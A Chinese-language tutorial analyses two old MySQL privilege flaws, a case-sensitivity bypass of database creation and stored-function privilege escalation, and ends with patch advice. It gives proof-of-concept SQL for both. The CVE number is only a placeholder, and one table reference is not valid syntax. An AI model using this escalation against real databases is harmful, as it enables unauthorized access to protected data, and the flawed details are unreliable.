首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL 權限提升與安全限制繞過漏洞分析 (CVE-2006-XXXX)

     編輯:MySQL 綜合教學

MySQL 5.1.10 及更早版本存在兩個嚴重安全缺陷,允許低權限使用者提升權限或繞過存取控制。受影響系統需運行於支援大小寫敏感檔案系統的作業系統 (如 Linux/Unix)。

漏洞 1:大小寫差異繞過 CREATE DATABASE 限制

成因:MySQL 以資料目錄下的目錄名代表資料庫名稱。在大小寫敏感的檔案系統上,sample 與 sAmple 為不同目錄。若使用者擁有 sample 資料庫的存取權,但無 CREATE DATABASE 全域權限,仍可建立 sAmple (僅大小寫不同) 並獲得完整控制權。

mysql> CREATE DATABASE another;  -- ERROR 1044: Access denied
mysql> CREATE DATABASE sAmple;   -- Query OK, 1 row affected

漏洞 2:存儲函數 SUID 機制導致權限提升

成因:MySQL 存儲函數/程序支援 SQL SECURITY DEFINER (預設) 與 INVOKER。攻擊者若擁有對某 DEFINER=root 函數的 EXECUTE 權限,可建立惡意函數 f_evil() 在 INVOKER 安全語境下執行敏感查詢,再透過 SELECT f_suid(f_evil()) 將其包裝在受信任函數 f_suid 內呼叫,導致 f_evil 以 f_suid 定義者 (如 root) 權限執行,竊取無權存取資料表的資料。

-- 建立受信任函數 (DEFINER=root)
CREATE FUNCTION f_suid(i INT) RETURNS INT RETURN 0;
GRANT EXECUTE ON FUNCTION test.f_suid TO malory@localhost;

-- 攻擊者建立惡意函數 (SQL SECURITY INVOKER)
CREATE FUNCTION f_evil() RETURNS INT
SQL SECURITY INVOKER
BEGIN
  SET @a := CURRENT_USER();
  SET @b := (SELECT COUNT(*) FROM mysql.test2.t1); -- 無權存取的表
  RETURN 0;
END;

-- 透過受信任函數間接呼叫,提升權限
SELECT test.f_suid(f_evil()); -- @b 將包含竊取的資料

修補建議

  1. 升級至 MySQL 5.1.11 或更新版本 (官方已發布補丁)。
  2. 嚴格控制 CREATE ROUTINE 與 EXECUTE 權限,避免授予非必要使用者。
  3. 檢查現有存儲函數/程序的 DEFINER 與 SQL SECURITY 設定,移除可疑物件。
  4. 資料庫部署於大小寫不敏感檔案系統 (Windows) 可緩解漏洞 1,但非根本解決。

小結

此漏洞揭示了 MySQL 權限模型在檔案系統語意與存儲程序安全語境交互時的缺陷。資料庫管理員應定期審計權限、及時套用安全更新,並遵循最小權限原則配置帳號。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved